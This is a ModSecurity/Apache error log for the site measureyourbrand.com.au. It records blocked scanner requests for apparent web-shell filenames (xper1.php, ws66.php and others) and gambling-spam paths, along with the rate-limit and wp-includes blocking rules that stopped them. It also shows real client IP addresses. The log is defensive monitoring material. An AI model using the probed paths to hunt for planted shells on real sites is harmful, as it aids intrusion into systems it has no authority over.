[Fri Apr 17 20:38:16.288793 2026] [:error] [pid 9152:tid 9201] [client 4.212.95.215:45621] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/file-gertdxz.php"] [unique_id "aeIpuJJYca8I3TNCwIdZjgAAAEs"]
[Fri Apr 17 20:38:24.532294 2026] [:error] [pid 9263:tid 9273] [client 4.212.95.215:55266] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xper1.php"] [unique_id "aeIpwBP68VyHNvj1e54zAgAAAMg"]
[Fri Apr 17 20:38:28.447867 2026] [:error] [pid 9153:tid 9226] [client 4.212.95.215:45978] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xper1.php"] [unique_id "aeIpxOMHGxkTZX3c45cGUwAAAIg"]
[Fri Apr 17 20:38:31.095080 2026] [:error] [pid 9263:tid 9269] [client 4.212.95.215:39090] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xper1.php"] [unique_id "aeIpxxP68VyHNvj1e54zDAAAAMQ"]
[Fri Apr 17 20:38:39.578580 2026] [:error] [pid 9152:tid 9200] [client 4.212.95.215:34622] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yuzuru1.php"] [unique_id "aeIpz5JYca8I3TNCwIdZrAAAAEo"]
[Fri Apr 17 20:38:51.335427 2026] [:error] [pid 9263:tid 9275] [client 4.212.95.215:36885] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wglum1.php"] [unique_id "aeIp2xP68VyHNvj1e54zKwAAAMo"]
[Fri Apr 17 20:38:57.633383 2026] [:error] [pid 34273:tid 34285] [client 4.212.95.215:14098] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wglum1.php"] [unique_id "aeIp4WuQDW686mK3dgEBnwAAAYo"]
[Fri Apr 17 20:39:08.694504 2026] [:error] [pid 51878:tid 51894] [client 4.212.95.215:56193] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/saorix1.php"] [unique_id "aeIp7EnQhUtMbw9EsgaIegAAAQ4"]
[Fri Apr 17 20:39:30.316347 2026] [:error] [pid 9151:tid 9184] [client 4.212.95.215:44440] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/000.php"] [unique_id "aeIqAshTVuRPkua22vQ7AwAAABc"]
[Fri Apr 17 20:39:34.853915 2026] [:error] [pid 9151:tid 9182] [client 4.212.95.215:35348] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/000.php"] [unique_id "aeIqBshTVuRPkua22vQ7BwAAABU"]
[Fri Apr 17 20:39:42.684066 2026] [:error] [pid 9152:tid 9208] [client 4.212.95.215:35356] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/000.php"] [unique_id "aeIqDpJYca8I3TNCwIdZ_QAAAFI"]
[Fri Apr 17 20:39:50.257881 2026] [:error] [pid 34273:tid 34280] [client 4.212.95.215:44431] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/config.php"] [unique_id "aeIqFmuQDW686mK3dgEByQAAAYU"]
[Fri Apr 17 20:39:50.874757 2026] [:error] [pid 25010:tid 25017] [client 4.212.95.215:37929] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/config.php"] [unique_id "aeIqFo-7kkf42RarqQ1zaQAAAUQ"]
[Fri Apr 17 20:40:11.218080 2026] [:error] [pid 61523:tid 61566] [client 4.212.95.215:37896] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x3x.php"] [unique_id "aeIqK8OaH-Pgc7WEf4PG_wAAAdg"]
[Fri Apr 17 20:40:13.137220 2026] [:error] [pid 34273:tid 34287] [client 4.212.95.215:53218] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x3x.php"] [unique_id "aeIqLWuQDW686mK3dgEB2wAAAYw"]
[Fri Apr 17 20:40:21.595590 2026] [:error] [pid 51878:tid 51900] [client 4.212.95.215:35717] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xy.php"] [unique_id "aeIqNUnQhUtMbw9EsgaIyQAAARQ"]
[Fri Apr 17 20:40:26.853457 2026] [:error] [pid 9153:tid 9239] [client 4.212.95.215:51388] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xy.php"] [unique_id "aeIqOuMHGxkTZX3c45cG8QAAAJU"]
[Fri Apr 17 20:40:27.886573 2026] [:error] [pid 9263:tid 9282] [client 4.212.95.215:41284] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xy.php"] [unique_id "aeIqOxP68VyHNvj1e54zvgAAANE"]
[Fri Apr 17 20:40:37.958363 2026] [:error] [pid 9152:tid 9202] [client 4.212.95.215:38981] [client 4.212.95.215] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wincust.php"] [unique_id "aeIqRZJYca8I3TNCwIdaIgAAAEw"]
[Fri Apr 17 20:40:42.235701 2026] [:error] [pid 25010:tid 25019] [client 4.212.95.215:14343] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws66.php"] [unique_id "aeIqSo-7kkf42RarqQ1zqwAAAUY"]
[Fri Apr 17 20:40:44.184374 2026] [:error] [pid 51878:tid 51902] [client 4.212.95.215:51350] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws66.php"] [unique_id "aeIqTEnQhUtMbw9EsgaJJQAAARY"]
[Fri Apr 17 20:40:48.019650 2026] [:error] [pid 51878:tid 51892] [client 4.212.95.215:39697] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws66.php"] [unique_id "aeIqUEnQhUtMbw9EsgaJOgAAAQw"]
[Fri Apr 17 20:40:56.167296 2026] [:error] [pid 34273:tid 34298] [client 4.212.95.215:39124] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws66.php"] [unique_id "aeIqWGuQDW686mK3dgECDwAAAZc"]
[Fri Apr 17 20:40:58.212449 2026] [:error] [pid 51878:tid 51894] [client 4.212.95.215:34923] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws80.php"] [unique_id "aeIqWknQhUtMbw9EsgaJkAAAAQ4"]
[Fri Apr 17 20:41:00.307054 2026] [:error] [pid 51878:tid 51883] [client 4.212.95.215:33497] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws80.php"] [unique_id "aeIqXEnQhUtMbw9EsgaJoAAAAQM"]
[Fri Apr 17 20:41:02.494938 2026] [:error] [pid 9263:tid 9276] [client 4.212.95.215:55317] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws80.php"] [unique_id "aeIqXhP68VyHNvj1e54z9gAAAMs"]
[Fri Apr 17 20:41:04.304710 2026] [:error] [pid 9152:tid 9205] [client 4.212.95.215:55273] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws80.php"] [unique_id "aeIqYJJYca8I3TNCwIdaSwAAAE8"]
[Fri Apr 17 20:41:05.408393 2026] [:error] [pid 51878:tid 51898] [client 4.212.95.215:51662] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xynz.php"] [unique_id "aeIqYUnQhUtMbw9EsgaJtwAAARI"]
[Fri Apr 17 20:41:06.697084 2026] [:error] [pid 9151:tid 9177] [client 4.212.95.215:43834] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xynz.php"] [unique_id "aeIqYshTVuRPkua22vQ7OQAAABA"]
[Fri Apr 17 20:41:08.103917 2026] [:error] [pid 9151:tid 9182] [client 4.212.95.215:9159] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xynz.php"] [unique_id "aeIqZMhTVuRPkua22vQ7PQAAABU"]
[Fri Apr 17 20:41:09.149999 2026] [:error] [pid 61523:tid 61561] [client 4.212.95.215:51684] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xynz.php"] [unique_id "aeIqZcOaH-Pgc7WEf4PHwQAAAdM"]
[Fri Apr 17 20:41:11.106069 2026] [:error] [pid 25010:tid 25029] [client 4.212.95.215:40228] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-01ul.php"] [unique_id "aeIqZ4-7kkf42RarqQ1zuwAAAVA"]
[Fri Apr 17 20:41:15.198437 2026] [:error] [pid 34273:tid 34291] [client 4.212.95.215:55327] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-01ul.php"] [unique_id "aeIqa2uQDW686mK3dgECIgAAAZA"]
[Fri Apr 17 20:41:27.545909 2026] [:error] [pid 61523:tid 61564] [client 4.212.95.215:39411] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/e7.php"] [unique_id "aeIqd8OaH-Pgc7WEf4PH5gAAAdY"]
[Fri Apr 17 20:41:31.559839 2026] [:error] [pid 9263:tid 9283] [client 4.212.95.215:39942] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/e7.php"] [unique_id "aeIqexP68VyHNvj1e540GAAAANI"]
[Fri Apr 17 20:41:33.179301 2026] [:error] [pid 9153:tid 9239] [client 4.212.95.215:33813] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/e7.php"] [unique_id "aeIqfeMHGxkTZX3c45cHMAAAAJU"]
[Fri Apr 17 20:42:00.653620 2026] [:error] [pid 9151:tid 9167] [client 4.212.95.215:8737] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sallu.php"] [unique_id "aeIqmMhTVuRPkua22vQ7fAAAAAY"]
[Fri Apr 17 20:42:06.659057 2026] [:error] [pid 51878:tid 51883] [client 4.212.95.215:47824] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sallu.php"] [unique_id "aeIqnknQhUtMbw9EsgaJ9wAAAQM"]
[Fri Apr 17 20:42:15.579440 2026] [:error] [pid 34273:tid 34290] [client 4.212.95.215:51307] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sallu.php"] [unique_id "aeIqp2uQDW686mK3dgECbQAAAY8"]
[Fri Apr 17 20:42:30.993397 2026] [:error] [pid 9263:tid 9278] [client 4.212.95.215:40673] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f6.php"] [unique_id "aeIqthP68VyHNvj1e540lwAAAM0"]
[Fri Apr 17 20:42:40.061135 2026] [:error] [pid 61523:tid 61543] [client 4.212.95.215:38952] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "aeIqwMOaH-Pgc7WEf4PISAAAAcE"]
[Fri Apr 17 20:42:48.921565 2026] [:error] [pid 51878:tid 51900] [client 4.212.95.215:32641] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "aeIqyEnQhUtMbw9EsgaKYQAAARQ"]
[Fri Apr 17 20:42:52.939391 2026] [:error] [pid 51878:tid 51895] [client 4.212.95.215:53251] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "aeIqzEnQhUtMbw9EsgaKaQAAAQ8"]
[Fri Apr 17 20:42:55.847609 2026] [:error] [pid 9152:tid 9214] [client 4.212.95.215:44948] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "aeIqz5JYca8I3TNCwIdasgAAAFg"]
[Fri Apr 17 20:42:57.355153 2026] [:error] [pid 51878:tid 51890] [client 4.212.95.215:52842] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "aeIq0UnQhUtMbw9EsgaKcAAAAQo"]
[Fri Apr 17 20:42:58.360738 2026] [:error] [pid 61523:tid 61552] [client 4.212.95.215:38557] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "aeIq0sOaH-Pgc7WEf4PIZAAAAco"]
[Fri Apr 17 20:42:59.002903 2026] [:error] [pid 34273:tid 34277] [client 4.212.95.215:52855] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/goods_260325043000.php"] [unique_id "aeIq02uQDW686mK3dgECnAAAAYI"]
[Fri Apr 17 20:42:59.855925 2026] [:error] [pid 51878:tid 51882] [client 4.212.95.215:32669] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/goods_260325043000.php"] [unique_id "aeIq00nQhUtMbw9EsgaKeQAAAQI"]
[Fri Apr 17 21:17:38.500483 2026] [:error] [pid 9153:tid 9228] [client 149.224.136.169:61085] [client 149.224.136.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "aeIy8uMHGxkTZX3c45cO2QAAAIo"]
[Fri Apr 17 21:17:41.126071 2026] [:error] [pid 9263:tid 9280] [client 149.224.136.169:59311] [client 149.224.136.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dg%20casino.aspx"] [unique_id "aeIy9RP68VyHNvj1e55G-gAAAM8"]
[Fri Apr 17 21:17:43.889737 2026] [:error] [pid 9263:tid 9279] [client 149.224.136.169:59660] [client 149.224.136.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aeIy9xP68VyHNvj1e55HDAAAAM4"]
[Fri Apr 17 21:17:48.744233 2026] [:error] [pid 9263:tid 9270] [client 149.224.136.169:64970] [client 149.224.136.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aeIy_BP68VyHNvj1e55HEQAAAMU"]
[Fri Apr 17 21:17:51.634690 2026] [:error] [pid 34273:tid 34284] [client 149.224.136.169:62401] [client 149.224.136.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aeIy_2uQDW686mK3dgEMYAAAAYk"]
[Fri Apr 17 21:17:54.266708 2026] [:error] [pid 9263:tid 9288] [client 149.224.136.169:63146] [client 149.224.136.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "aeIzAhP68VyHNvj1e55HIwAAANc"]
[Fri Apr 17 21:18:05.482637 2026] [:error] [pid 51878:tid 51882] [client 149.224.136.169:59183] [client 149.224.136.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h25%20com.aspx"] [unique_id "aeIzDUnQhUtMbw9EsgagsAAAAQI"]
